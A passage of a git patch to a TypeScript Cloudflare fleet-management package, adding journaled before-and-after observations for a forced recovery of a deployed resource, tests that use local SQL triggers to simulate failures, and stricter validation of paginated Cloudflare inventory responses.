bucket.jurisdiction), + ), + ), + ] as const); + context.transport.assertWithinBudget(); + const database = fulfilled(reads[0]); + if (database && database.id !== resource.database.id) + throw new DirectReferenceExecutionError(); + const footprint = fulfilled(reads[1]); + const secretNames = fulfilled(reads[2]); + const versions = fulfilled(reads[3]); + const namespaces = fulfilled(reads[4]); + const surviving = fulfilled(reads[5]); + const record = fulfilled(reads[6]); + const claims = fulfilled(reads[7]); + const receipt = fulfilled(reads[8]); + const bucketReads = fulfilled(reads[9]); + const observedReceiptSha256 = receipt ? receiptDigest(receipt) : null; + const observation = { + version: 1, + role: 'recovery', + beforeIdentitySha256: before.identity.beforeIdentitySha256, + fleetRecordPresent: record !== undefined, + deploymentClaimsPresent: claims, + database: { + id: resource.database.id, + expectedName: resource.database.name, + observedName: database ? text(database.name) : null, + }, + worker: { + scriptName: resource.scriptName, + scriptPresent: footprint.scriptPresent, + workersDevEnabled: footprint.workersDevEnabled ?? null, + previewUrlsEnabled: footprint.previewUrlsEnabled ?? null, + customDomains: footprint.customDomains + .map((domain) => ({ + id: text(domain.id), + hostname: text(domain.hostname), + service: text(domain.service), + })) + .sort((a, b) => a.id.localeCompare(b.id)), + zoneRoutes: footprint.zoneRoutes + .map((route) => ({ + zoneId: text(route.zoneId), + routeId: text(route.routeId), + pattern: text(route.pattern), + })) + .sort( + (a, b) => + a.zoneId.localeCompare(b.zoneId) || + a.routeId.localeCompare(b.routeId), + ), + currentSecretNames: [...new Set(secretNames.map(text))].sort(), + currentVersionIds: versions + ? [ + ...new Set(versions.map((version) => text(version.versionId))), + ].sort() + : null, + currentNamespaceIds: [...new Set(namespaces.map(text))].sort(), + survivingRecordedNamespaceIds: [...new Set(surviving.map(text))].sort(), + }, + buckets: resource.applicationBuckets.map((bucket, index) => { + const result = bucketReads[index]; + if (!result) throw new DirectReferenceExecutionError(); + const observed = fulfilled(result); + return { + bindingName: bucket.name, + bucketName: bucket.bucketName, + jurisdiction: bucket.jurisdiction, + expectedCreationDate: bucket.creationDate, + observedCreationDate: observed ? text(observed.creationDate) : null, + }; + }), + priorCleanup: { + operationId: before.identity.priorCleanup.operationId, + observedReceiptSha256, + matchesBefore: + observedReceiptSha256 === before.identity.priorCleanup.receiptSha256, + }, + }; + const stored = await context.journal.recordForceAfter( + JSON.stringify(observation), + JSON.stringify({ startedAtMs, completedAtMs: Date.now() }), + ); + context.transport.assertWithinBudget(); + return { + observation: object(JSON.parse(stored.identityJson)), + provenance: object(JSON.parse(stored.provenanceJson)), + }; +} diff --git a/packages/fleet-control/scripts/direct-reference-journal.ts b/packages/fleet-control/scripts/direct-reference-journal.ts index bbb1c50d..2232def4 100644 --- a/packages/fleet-control/scripts/direct-reference-journal.ts +++ b/packages/fleet-control/scripts/direct-reference-journal.ts @@ -64,7 +64,11 @@ export interface DirectStoredResource extends DirectStoredObservation { readonly identitySha256: string; } -type ObservationKind = 'resource' | 'settlement'; +type ObservationKind = + | 'resource' + | 'settlement' + | 'force-before' + | 'force-after'; const MAX_JSON_BYTES = 256 * 1024; const schema = [ @@ -539,4 +543,40 @@ export class DirectReferenceJournal { this.#observation('settlement', sha256(settlementKey)), ); } + + recordForceBefore( + identityJson: string, + provenanceJson: string, + ): Promise { + return this.#withState(() => + this.#recordObservation( + 'force-before', + 'recovery', + identityJson, + provenanceJson, + ), + ); + } + + readForceBefore(): Promise { + return this.#withState(() => this.#observation('force-before', 'recovery')); + } + + recordForceAfter( + identityJson: string, + provenanceJson: string, + ): Promise { + return this.#withState(() => + this.#recordObservation( + 'force-after', + 'recovery', + identityJson, + provenanceJson, + ), + ); + } + + readForceAfter(): Promise { + return this.#withState(() => this.#observation('force-after', 'recovery')); + } } diff --git a/packages/fleet-control/scripts/direct-reference-lifecycle.ts b/packages/fleet-control/scripts/direct-reference-lifecycle.ts index 9849d8b8..31ec9b59 100644 --- a/packages/fleet-control/scripts/direct-reference-lifecycle.ts +++ b/packages/fleet-control/scripts/direct-reference-lifecycle.ts @@ -132,6 +132,8 @@ async function provision( action: Extract, ) { const { role, release } = action; + if (role === 'recovery' && (await context.journal.readForceBefore())) + throw new DirectReferenceExecutionError(); const names = manifest.names.roles[role]; const slot = cleanupSlot(role, release); const stored = await context.journal.freezeStart(slot, async () => { diff --git a/packages/fleet-control/scripts/direct-reference-observations.ts b/packages/fleet-control/scripts/direct-reference-observations.ts index 22c620bd..91854d1d 100644 --- a/packages/fleet-control/scripts/direct-reference-observations.ts +++ b/packages/fleet-control/scripts/direct-reference-observations.ts @@ -1,12 +1,18 @@ // SPDX-License-Identifier: Apache-2.0 -import { fleetSettlementKey } from '@proofoftech/fleet-control'; +import { + fleetSettlementKey, + type R2Jurisdiction, +} from '@proofoftech/fleet-control'; import { deploymentSpecDigest, type FleetRecord, type FleetSettlementHost, } from '@proofoftech/fleet-control/cloudflare-control-plane'; -import type { DirectFixtureRelease } from './direct-credentialed-spec.js'; +import type { + DirectFixtureRelease, + DirectFixtureRole, +} from './direct-credentialed-spec.js'; import type { DirectReferenceContext } from './direct-reference-context.js'; import { DirectReferenceExecutionError } from './direct-reference-http.js'; import type { DirectStoredResource } from './direct-reference-journal.js'; @@ -17,16 +23,42 @@ type ResourceSource = | 'teardown-read' | 'before-force'; +export interface DirectResourceIdentity { + readonly version: 1; + readonly role: DirectFixtureRole; + readonly backend: FleetRecord['backend']; + readonly tenantTag: string; + readonly environment: string; + readonly scriptName: string; + readonly database: Readonly<{ name: string; id: string | null }>; + readonly knownVersionIds: readonly string[]; + readonly localNamespaces: readonly Readonly<{ + name: string; + className: string; + namespaceId: string; + }>[]; + readonly applicationBuckets: readonly Readonly<{ + name: string; + bucketName: string; + jurisdiction: R2Jurisdiction; + reservationNonce: string; + creationDate: string | null; + }>[]; +} + function compare(left: string, right: string): number { return left < right ? -1 : left > right ? 1 : 0; } -export async function recordDirectResource( +export function directResourceObservation( context: DirectReferenceContext, record: FleetRecord, source: ResourceSource, -): Promise { - context.transport.assertWithinBudget(); +): Readonly<{ + role: DirectFixtureRole; + identityJson: string; + provenanceJson: string; +}> { const role = context.roleFor(record); context.specFor(record); if ( @@ -43,7 +75,7 @@ export async function recordDirectResource( : admittedPhase === 'database-create-authorized' ? 'create-outcome-unresolved' : 'recorded'; - const identity = { + const identity: DirectResourceIdentity = { version: 1, role, backend: record.backend, @@ -91,10 +123,10 @@ export async function recordDirectResource( ) .sort((left, right) => compare(left.name, right.name)), }; - const stored = await context.journal.recordResource( + return { role, - JSON.stringify(identity), - JSON.stringify({ + identityJson: JSON.stringify(identity), + provenanceJson: JSON.stringify({ source, phase: record.phase, schemaVersion: record.schemaVersion, @@ -106,6 +138,20 @@ export async function recordDirectResource( .map(({ name, state }) => ({ name, state })) .sort((left, right) => compare(left.name, right.name)), }), + }; +} + +export async function recordDirectResource( + context: DirectReferenceContext, + record: FleetRecord, + source: ResourceSource, +): Promise { + context.transport.assertWithinBudget(); + const observation = directResourceObservation(context, record, source); + const stored = await context.journal.recordResource( + observation.role, + observation.identityJson, + observation.provenanceJson, ); context.transport.assertWithinBudget(); return stored; diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts index 7b88fa5d..1f1ed346 100644 --- a/packages/fleet-control/scripts/direct-reference-worker.ts +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -7,6 +7,10 @@ import { type DirectReferenceEnvironment, } from './direct-reference-context.js'; import type { DirectReferenceAction } from './direct-reference-contract.mjs'; +import { + observeDirectForce, + recoverDirectForce, +} from './direct-reference-force.js'; import { handleDirectReferenceHttpRequest } from './direct-reference-http.js'; import { dispatchDirectInventory } from './direct-reference-inventory.js'; import type { DirectOperationSlot } from './direct-reference-journal.js'; @@ -64,8 +68,13 @@ async function dispatch( operations: operations.filter((value) => value !== undefined), records, interruption: await context.journal.readInterruption(), + forceBefore: await context.journal.readForceBefore(), + forceAfter: await context.journal.readForceAfter(), }; } + if (action.kind === 'force-recovery') + return recoverDirectForce(context, manifest); + if (action.kind === 'force-observe') return observeDirectForce(context); if ('role' in action) return dispatchDirectLifecycle(context, manifest, action, signal); if ( diff --git a/packages/fleet-control/test/direct-reference-journal.harness.test.ts b/packages/fleet-control/test/direct-reference-journal.harness.test.ts index f7ac40bc..f87cbb64 100644 --- a/packages/fleet-control/test/direct-reference-journal.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-journal.harness.test.ts @@ -81,6 +81,42 @@ describe.sequential('direct reference journal in native D1', { return { runKey, journal: new DirectReferenceJournal(db, runKey, binding) }; } + it.each([ + 'before', + 'after', + ] as const)('retains the first force %s observation and refuses changed identity or purpose', async (phase) => { + const { runKey, journal } = fixture(); + const write = + phase === 'before' + ? journal.recordForceBefore.bind(journal) + : journal.recordForceAfter.bind(journal); + const identity = '{"version":1,"resource":"original"}'; + const first = await write(identity, '{"observedAt":1}'); + expect(await write(identity, '{"observedAt":2}')).toEqual(first); + const reloaded = new DirectReferenceJournal(db, runKey, binding); + const read = () => + phase === 'before' + ? reloaded.readForceBefore() + : reloaded.readForceAfter(); + expect(await read()).toEqual(first); + await expect( + write('{"version":1,"resource":"replacement"}', '{}'), + ).rejects.toMatchObject({ code: 'journal-state' }); + expect(await read()).toEqual(first); + const other = phase === 'before' ? 'after' : 'before'; + await db + .prepare( + 'UPDATE direct_reference_observations SET observation_kind=? WHERE run_key=? AND observation_kind=?', + ) + .bind(`force-${other}`, runKey, `force-${phase}`) + .run(); + await expect( + other === 'before' + ? reloaded.readForceBefore() + : reloaded.readForceAfter(), + ).rejects.toMatchObject({ code: 'journal-state' }); + }); + it('retains first resource provenance and distinct incarnations across reload', async () => { const { runKey, journal } = fixture(); const first = await journal.recordResource( diff --git a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts index d6e2ecaf..cc746966 100644 --- a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts @@ -209,3 +209,302 @@ describe.sequential('direct lifecycle through native control state', { expect(fixture.bridgeErrors).toEqual([]); }); }); + +describe.sequential('private force through native control state', { + timeout: 180_000, +}, () => { + async function readyRecovery(fixture: DirectReferenceHarness) { + const names = fixture.manifest.names.roles.recovery; + const environment = fixture.manifest.environment; + const failed = await fixture.success<{ cleanup: CleanupAdvanceResult }>({ + kind: 'provision', + role: 'recovery', + release: 'failed-recovery', + }); + let cleanup = failed.cleanup; + for (let count = 0; cleanup.status !== 'complete' && count < 150; count++) { + expect(cleanup.status).toBe('pending'); + cleanup = await fixture.success({ + kind: 'cleanup-continue', + role: 'recovery', + token: cleanup.token, + }); + } + if (cleanup.status !== 'complete') + throw new Error('force fixture cleanup did not complete'); + const receipt = cleanup.receipt; + await fixture.success({ + kind: 'provision', + role: 'recovery', + release: 'initial', + }); + const ready = await fixture.fleetStore.get(names.tenantTag, environment); + if (!ready) throw new Error('fresh recovery record is missing'); + expect(ready.phase).toBe('ready'); + expect( + fixture.world.databases.some( + (database) => database.databaseId === ready.databaseId, + ), + ).toBe(true); + return { ready, receipt }; + } + + it('captures before the force phase write and retains the original witness across deletion failure and replay', async () => { + const fixture = await createDirectReferenceHarness(); + try { + const names = fixture.manifest.names.roles.recovery; + const environment = fixture.manifest.environment; + const absent = await fixture.call({ kind: 'force-recovery' }); + expect(absent.response.status).toBe(409); + expect(fixture.projection.requests).toEqual([]); + const { ready, receipt } = await readyRecovery(fixture); + const mutations = [...fixture.world.mutationLog]; + await fixture.db.exec( + "CREATE TRIGGER refuse_force_witness BEFORE INSERT ON direct_reference_observations WHEN NEW.observation_kind='force-before' BEGIN SELECT RAISE(ABORT,'fixture force witness unavailable'); END", + ); + try { + const refused = await fixture.call({ kind: 'force-recovery' }); + expect(refused.response.status).toBe(500); + expect( + (await fixture.fleetStore.get(names.tenantTag, environment))?.phase, + ).toBe('ready'); + expect(fixture.world.mutationLog).toEqual(mutations); + expect(await fixture.journal().readForceBefore()).toBeUndefined(); + } finally { + await fixture.db.exec('DROP TRIGGER refuse_force_witness'); + } + await fixture.db.exec( + "CREATE TRIGGER require_force_witness BEFORE UPDATE ON anchorage_fleet_deployments WHEN NEW.phase='decommissioning' AND NOT EXISTS(SELECT 1 FROM direct_reference_observations WHERE observation_kind='force-before') BEGIN SELECT RAISE(ABORT,'force phase precedes its witness'); END", + ); + fixture.world.failNext('deleteDatabase', { dispatched: false }); + const interrupted = await fixture.call({ kind: 'force-recovery' }); + expect(interrupted.response.status).toBe(500); + expect(fixture.world.peekFailure('deleteDatabase')).toBeUndefined(); + expect( + (await fixture.fleetStore.get(names.tenantTag, environment))?.phase, + ).toBe('database-deleting'); + const before = await fixture.journal().readForceBefore(); + if (!before) throw new Error('force before witness is missing'); + expect(JSON.parse(before.provenanceJson)).toMatchObject({ + phase: 'ready', + recordUpdatedAt: ready.updatedAt, + }); + expect(JSON.parse(before.identityJson).priorCleanup.operationId).toBe( + receipt.operationId, + ); + const exportCount = fixture.world.exports.size; + await fixture.reload(); + expect(await fixture.success({ kind: 'force-recovery' })).toMatchObject({ + returned: true, + }); + expect( + await fixture.fleetStore.get(names.tenantTag, environment), + ).toBeUndefined(); + expect( + fixture.world.databases.some( + (database) => database.databaseId === ready.databaseId, + ), + ).toBe(false); + expect(fixture.world.scripts.has(ready.scriptName)).toBe(true); + for (const resource of ready.applicationResources ?? []) + expect( + fixture.buckets.has( + `${resource.jurisdiction}:${resource.bucketName}`, + ), + ).toBe(true); + expect( + await fixture.fleetStore.readCleanupReceipt(receipt.operationId), + ).toEqual(receipt); + expect(await fixture.journal().readForceBefore()).toEqual(before); + expect(fixture.world.exports.size).toBe(exportCount); + const after = [...fixture.world.mutationLog]; + await fixture.fleetStore.withDeploymentLease( + names.tenantTag, + environment, + (lease) => + lease.put({ + ...ready, + databaseId: '00000000-0000-4000-8000-000000000099', + }), + ); + const beforeForeignReplay = fixture.projection.requests.length; + expect( + (await fixture.call({ kind: 'force-recovery' })).response.status, + ).toBe(409); + expect(fixture.projection.requests).toHaveLength(beforeForeignReplay); + expect(fixture.world.mutationLog).toEqual(after); + await fixture.fleetStore.withDeploymentLease( + names.tenantTag, + environment, + (lease) => { + if (!lease.deleteReleasingClaims) + throw new Error('fixture claim release is unavailable'); + return lease.deleteReleasingClaims(); + }, + ); + fixture.world.durableObjectNamespaces.push({ + id: 'unrelated-namespace', + script: 'unrelated-script', + className: 'Other', + }); + const footprint = await fixture.success<{ + observation: Record; + provenance: Record; + }>({ kind: 'force-observe' }); + const retainedScript = fixture.world.scripts.get(ready.scriptName); + if (!retainedScript) throw new Error('force removed the retained script'); + expect(footprint.observation).toMatchObject({ + version: 1, + role: 'recovery', + beforeIdentitySha256: JSON.parse(before.identityJson) + .beforeIdentitySha256, + fleetRecordPresent: false, + deploymentClaimsPresent: false, + database: { + id: ready.databaseId, + expectedName: ready.databaseName, + observedName: null, + }, + worker: { + scriptName: ready.scriptName, + scriptPresent: true, + workersDevEnabled: false, + previewUrlsEnabled: false, + customDomains: [], + zoneRoutes: [], + currentSecretNames: [], + currentVersionIds: retainedScript.versions + .map((version) => version.versionId) + .sort(), + currentNamespaceIds: ready.durableObjectBindings + .map((binding) => binding.namespaceId) + .sort(), + survivingRecordedNamespaceIds: ready.durableObjectBindings + .map((binding) => binding.namespaceId) + .sort(), + }, + priorCleanup: { operationId: receipt.operationId, matchesBefore: true }, + }); + expect(footprint.observation.buckets).toEqual( + (ready.applicationResources ?? []) + .map((resource) => ({ + bindingName: resource.name, + bucketName: resource.bucketName, + jurisdiction: resource.jurisdiction, + expectedCreationDate: resource.creationDate, + observedCreationDate: resource.creationDate, + })) + .sort((a, b) => a.bindingName.localeCompare(b.bindingName)), + ); + expect(fixture.world.mutationLog).toEqual(after); + const reads = fixture.projection.requests.length; + await fixture.reload(); + expect(await fixture.success({ kind: 'force-observe' })).toEqual( + footprint, + ); + expect(fixture.projection.requests).toHaveLength(reads); + expect(await fixture.success({ kind: 'force-recovery' })).toMatchObject({ + returned: true, + }); + expect(fixture.world.mutationLog).toEqual(after); + expect( + ( + await fixture.call({ + kind: 'provision', + role: 'recovery', + release: 'initial', + }) + ).response.status, + ).toBe(409); + expect(fixture.world.mutationLog).toEqual(after); + } finally { + await fixture.close(); + } + }); + + it('leaves incomplete reads unrecorded and reports retained claims and changed resources independently', async () => { + const fixture = await createDirectReferenceHarness(); + try { + const { ready, receipt } = await readyRecovery(fixture); + fixture.world.failNext('deleteDatabase', { dispatched: false }); + expect( + (await fixture.call({ kind: 'force-recovery' })).response.status, + ).toBe(500); + expect(fixture.world.peekFailure('deleteDatabase')).toBeUndefined(); + expect(await fixture.journal().readForceBefore()).toBeDefined(); + const script = fixture.world.scripts.get(ready.scriptName); + const version = script?.versions[0]; + if (!version) + throw new Error('force fixture has no recorded Worker version'); + const descriptor = Object.getOwnPropertyDescriptor(version, 'versionId'); + if (!descriptor) + throw new Error('force fixture version has no identifier'); + Object.defineProperty(version, 'versionId', { value: undefined }); + const mutations = [...fixture.world.mutationLog]; + try { + expect( + (await fixture.call({ kind: 'force-observe' })).response.status, + ).toBe(500); + expect(await fixture.journal().readForceAfter()).toBeUndefined(); + expect(fixture.world.mutationLog).toEqual(mutations); + } finally { + Object.defineProperty(version, 'versionId', descriptor); + } + await fixture.fleetStore.withDeploymentLease( + ready.tenantTag, + ready.environment, + (lease) => lease.delete(), + ); + expect( + await fixture.fleetStore.get(ready.tenantTag, ready.environment), + ).toBeUndefined(); + await fixture.fleetStore.pruneCleanupReceipts({ + completedBeforeMs: Number.MAX_SAFE_INTEGER, + limit: 100, + }); + expect( + await fixture.fleetStore.readCleanupReceipt(receipt.operationId), + ).toBeUndefined(); + const resource = ready.applicationResources?.[0]; + if (!resource) throw new Error('force fixture has no application bucket'); + const bucket = fixture.buckets.get( + `${resource.jurisdiction}:${resource.bucketName}`, + ); + if (!bucket) throw new Error('force fixture bucket is missing'); + const originalCreationDate = bucket.creation_date; + bucket.creation_date = new Date( + Date.parse(originalCreationDate) + 1000, + ).toISOString(); + const observed = await fixture.success<{ + observation: Record; + }>({ kind: 'force-observe' }); + expect(observed.observation).toMatchObject({ + fleetRecordPresent: false, + deploymentClaimsPresent: true, + database: { id: ready.databaseId, observedName: ready.databaseName }, + buckets: [ + { + bindingName: resource.name, + expectedCreationDate: originalCreationDate, + observedCreationDate: bucket.creation_date, + }, + ], + priorCleanup: { + operationId: receipt.operationId, + observedReceiptSha256: null, + matchesBefore: false, + }, + }); + expect(fixture.world.mutationLog).toEqual(mutations); + bucket.creation_date = originalCreationDate; + const requests = fixture.projection.requests.length; + await fixture.reload(); + expect(await fixture.success({ kind: 'force-observe' })).toEqual( + observed, + ); + expect(fixture.projection.requests).toHaveLength(requests); + } finally { + await fixture.close(); + } + }); +}); From 121dd637c809e9d9a5e2afb14c3421c930d8ef2e Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 12:41:18 +0400 Subject: [PATCH 120/169] fix(fleet-control): reject incomplete inventory absence proofs --- .changeset/strict-inventory-absence-proofs.md | 5 + .../fleet-control/src/cloudflare-client.ts | 352 ++++++++++---- .../src/cloudflare-fleet-inventory.ts | 58 ++- .../cloudflare-ordinary-worker-operations.ts | 96 +++- .../fleet-control/src/plain-worker-backend.ts | 11 +- .../wrangler-plain-worker-provisioning-api.ts | 31 +- .../cloudflare-client-plain-worker.test.ts | 9 +- .../test/cloudflare-client.test.ts | 435 ++++++++++++++++++ .../test/cloudflare-fleet-inventory.test.ts | 99 ++++ .../test/plain-worker-backend.test.ts | 11 + ...gler-plain-worker-provisioning-api.test.ts | 43 ++ 11 files changed, 1016 insertions(+), 134 deletions(-) create mode 100644 .changeset/strict-inventory-absence-proofs.md diff --git a/.changeset/strict-inventory-absence-proofs.md b/.changeset/strict-inventory-absence-proofs.md new file mode 100644 index 00000000..633cffbc --- /dev/null +++ b/.changeset/strict-inventory-absence-proofs.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Validate inventory page structure and resource identity before recording absence, removing ingress or verifying secret revocation. Keep SDK pagination and the direct/Wrangler lookup paths consistent when metadata is incomplete. diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 61e32563..88b91aeb 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -80,6 +80,7 @@ import { materializeFleetInventoryGeneration, } from './fleet-inventory-state.js'; import type { HostRoutingTarget } from './host-routing.js'; +import { readField, readStringField } from './json-field-reads.js'; import { canonicalMaintenanceCapabilityPublicKey, externalPlatformResourceGroupId, @@ -617,6 +618,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { readonly #apiToken: string; readonly #dispatchNamespace: string | undefined; readonly #client: CloudflareSdk; + readonly #inventoryProofClient: CloudflareSdk; readonly #ordinary: OrdinaryWorkerContext; readonly #attachmentScan: CloudflareWorkerAttachmentScanContext; readonly #operationQueue: PQueue; @@ -717,9 +719,105 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { // consume the network request's lease-bounded execution budget. timeout: SDK_TRANSPORT_TIMEOUT_MS, }); + const inventoryProofClient = (shape: 'array' | 'items') => + this.#client.withOptions({ + fetch: async (input, init) => { + const response = await rateLimitedFetch(input, init); + if (!response.ok) return response; + const mediaType = response.headers + .get('content-type') + ?.split(';')[0] + ?.trim(); + if ( + response.status !== 200 || + !( + mediaType?.includes('application/json') || + mediaType?.endsWith('+json') + ) + ) { + const error = new Error( + 'Cloudflare inventory response is not complete JSON', + ); + cancelBodyWithoutAwait(response.body, error); + throw error; + } + const parse = response.json.bind(response); + // SDK page defaults erase missing result arrays before callers see them. + const validatedJson: Response['json'] = async () => { + const value: unknown = await parse(); + const result = readField(value, 'result'); + const rows = + shape === 'array' ? result : readField(result, 'items'); + const errors = readField(value, 'errors'); + const info = readField(value, 'result_info'); + const cursor = readField(info, 'cursor'); + const totalPages = readField(info, 'total_pages'); + const totalCount = readField(info, 'total_count'); + const perPage = readField(info, 'per_page'); + const requestUrl = new URL( + typeof input === 'string' || input instanceof URL + ? input + : input.url, + ); + const requestedPage = Number( + requestUrl.searchParams.get('page') ?? '1', + ); + if ( + readField(value, 'success') !== true || + !Array.isArray(rows) || + rows.some( + (row) => + row === null || typeof row !== 'object' || Array.isArray(row), + ) || + (errors !== undefined && + (!Array.isArray(errors) || errors.length !== 0)) || + (info !== undefined && + (info === null || + typeof info !== 'object' || + Array.isArray(info))) || + (cursor !== undefined && + cursor !== null && + typeof cursor !== 'string') || + [totalPages, totalCount, perPage].some( + (value) => + value !== undefined && + (typeof value !== 'number' || + !Number.isSafeInteger(value) || + value < 0), + ) || + (rows.length === 0 && + ((typeof cursor === 'string' && cursor.length > 0) || + (!requestUrl.searchParams.has('cursor') && + typeof totalPages === 'number' && + totalPages > requestedPage) || + (!requestUrl.searchParams.has('cursor') && + typeof totalCount === 'number' && + totalCount > 0 && + (requestedPage === 1 || + (typeof perPage === 'number' && + perPage > 0 && + totalCount / perPage > requestedPage - 1))))) + ) + throw new Error( + 'Cloudflare inventory response has incomplete page metadata', + ); + return value; + }; + return new Proxy(response, { + get(target, property) { + if (property === 'json') return validatedJson; + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + }, + }); + this.#inventoryProofClient = inventoryProofClient('array'); this.#ordinary = { accountId: this.#accountId, client: this.#client, + inventoryClient: this.#inventoryProofClient, + versionInventoryClient: inventoryProofClient('items'), schedule: (operation) => this.#schedule(operation), collectBounded: (iterable, label, max) => this.#collectBounded(iterable, label, max), @@ -901,7 +999,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const zoneIds: string[] = []; const seenZoneIds = new Set(); for await (const zone of this.#collectBounded( - this.#client.zones.list({ + this.#inventoryProofClient.zones.list({ account: { id: this.#accountId }, per_page: 50, type: ['full', 'partial', 'secondary', 'internal'], @@ -1090,17 +1188,18 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { resource: import('./types.js').ApplicationR2Binding, ): Promise { await this.#schedule(async () => { - for await (const object of this.#collectBounded( - this.#client.r2.buckets.objects.list(resource.bucketName, { - account_id: this.#accountId, - jurisdiction: resource.jurisdiction, - per_page: 1, - }), + for await (const _object of this.#collectBounded( + this.#inventoryProofClient.r2.buckets.objects.list( + resource.bucketName, + { + account_id: this.#accountId, + jurisdiction: resource.jurisdiction, + per_page: 1, + }, + ), 'R2 object inventory', )) { - if (object.key) { - throw new Error(`R2 bucket '${resource.bucketName}' is not empty`); - } + throw new Error(`R2 bucket '${resource.bucketName}' is not empty`); } }); } @@ -1196,15 +1295,19 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { return this.#schedule(async () => { const matches: DatabaseReference[] = []; for await (const database of this.#collectBounded( - this.#client.d1.database.list({ + this.#inventoryProofClient.d1.database.list({ account_id: this.#accountId, name, }), 'D1 database inventory', MAX_DATABASE_INVENTORY, )) { - if (database.name === name && database.uuid) { - matches.push({ id: database.uuid, name, created: false }); + const id = readStringField(database, 'uuid'); + const databaseName = readStringField(database, 'name'); + if (!id || !databaseName) + throw new Error('D1 database inventory has an invalid uuid or name'); + if (databaseName === name) { + matches.push({ id, name, created: false }); } } if (matches.length > 1) { @@ -1246,12 +1349,17 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { await this.#schedule(async () => { let found = false; for await (const namespace of this.#collectBounded( - this.#client.workersForPlatforms.dispatch.namespaces.list({ - account_id: this.#accountId, - }), + this.#inventoryProofClient.workersForPlatforms.dispatch.namespaces.list( + { + account_id: this.#accountId, + }, + ), 'dispatch namespace inventory', )) { - if (namespace.namespace_name === dispatchNamespace) { + const name = readStringField(namespace, 'namespace_name'); + if (!name) + throw new Error('dispatch namespace inventory has an invalid name'); + if (name === dispatchNamespace) { found = true; break; } @@ -1536,7 +1644,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { memoizePerContext(`kv-keys:${namespaceId}`, async () => { const keys: { name?: string }[] = []; for await (const key of this.#collectBounded( - this.#client.kv.namespaces.keys.list(namespaceId, { + this.#inventoryProofClient.kv.namespaces.keys.list(namespaceId, { account_id: this.#accountId, }), 'host-routing KV key inventory', @@ -1565,9 +1673,18 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { memoizePerContext('custom-domains', async () => { const domains: { hostname: string; service: string }[] = []; for await (const domain of this.#collectBounded( - this.#client.workers.domains.list({ account_id: this.#accountId }), + this.#inventoryProofClient.workers.domains.list({ + account_id: this.#accountId, + }), 'custom domain inventory', )) { + if ( + !readStringField(domain, 'hostname') || + !readStringField(domain, 'service') + ) + throw new Error( + 'custom domain inventory has an invalid hostname or service', + ); domains.push({ hostname: domain.hostname, service: domain.service, @@ -1585,15 +1702,24 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { script?: string; }[] = []; for await (const route of this.#collectBounded( - this.#client.workers.routes.list({ zone_id: zoneId }), + this.#inventoryProofClient.workers.routes.list({ zone_id: zoneId }), 'Worker zone-route inventory', )) { + const script = readField(route, 'script'); + if ( + script !== undefined && + script !== null && + typeof script !== 'string' + ) + throw new Error( + 'Worker zone-route inventory has an invalid script', + ); routes.push({ ...(route.id === undefined ? {} : { id: route.id }), ...(route.pattern === undefined ? {} : { pattern: route.pattern }), - ...(route.script === undefined ? {} : { script: route.script }), + ...(typeof script === 'string' ? { script } : {}), }); } return { routes }; @@ -1602,12 +1728,17 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { memoizePerContext('ordinary-scripts', async () => { const scripts: { id?: string }[] = []; for await (const script of this.#collectBounded( - this.#client.workers.scripts.list({ account_id: this.#accountId }), + this.#inventoryProofClient.workers.scripts.list({ + account_id: this.#accountId, + }), 'ordinary Worker script inventory', )) { - scripts.push({ - ...(script.id === undefined ? {} : { id: script.id }), - }); + const id = readStringField(script, 'id'); + if (!id) + throw new Error( + 'ordinary Worker script inventory has an invalid ID', + ); + scripts.push({ id }); } return { scripts }; }), @@ -1617,34 +1748,40 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ), listDatabases: async () => memoizePerContext('d1-databases', async () => { - const databases: { uuid?: string; name?: string }[] = []; + const databases: { uuid: string; name: string }[] = []; for await (const database of this.#collectBounded( - this.#client.d1.database.list({ account_id: this.#accountId }), + this.#inventoryProofClient.d1.database.list({ + account_id: this.#accountId, + }), 'D1 database inventory', MAX_DATABASE_INVENTORY, )) { - databases.push({ - ...(database.uuid === undefined ? {} : { uuid: database.uuid }), - ...(database.name === undefined ? {} : { name: database.name }), - }); + const uuid = readStringField(database, 'uuid'); + const name = readStringField(database, 'name'); + if (!uuid || !name) + throw new Error( + 'D1 database inventory has an invalid uuid or name', + ); + databases.push({ uuid, name }); } return { databases }; }), listDurableObjectNamespaces: async () => memoizePerContext('do-namespaces', async () => { - const namespaces: { id?: string; script?: string }[] = []; + const namespaces: { id: string; script: string }[] = []; for await (const namespace of this.#collectBounded( - this.#client.durableObjects.namespaces.list({ + this.#inventoryProofClient.durableObjects.namespaces.list({ account_id: this.#accountId, }), 'Durable Object namespace inventory', )) { - namespaces.push({ - ...(namespace.id === undefined ? {} : { id: namespace.id }), - ...(namespace.script === undefined - ? {} - : { script: namespace.script }), - }); + const id = readStringField(namespace, 'id'); + const script = readStringField(namespace, 'script'); + if (!id || !script) + throw new Error( + 'Durable Object namespace inventory has an invalid ID or script association', + ); + namespaces.push({ id, script }); } return { namespaces }; }), @@ -1745,14 +1882,15 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const requested = new 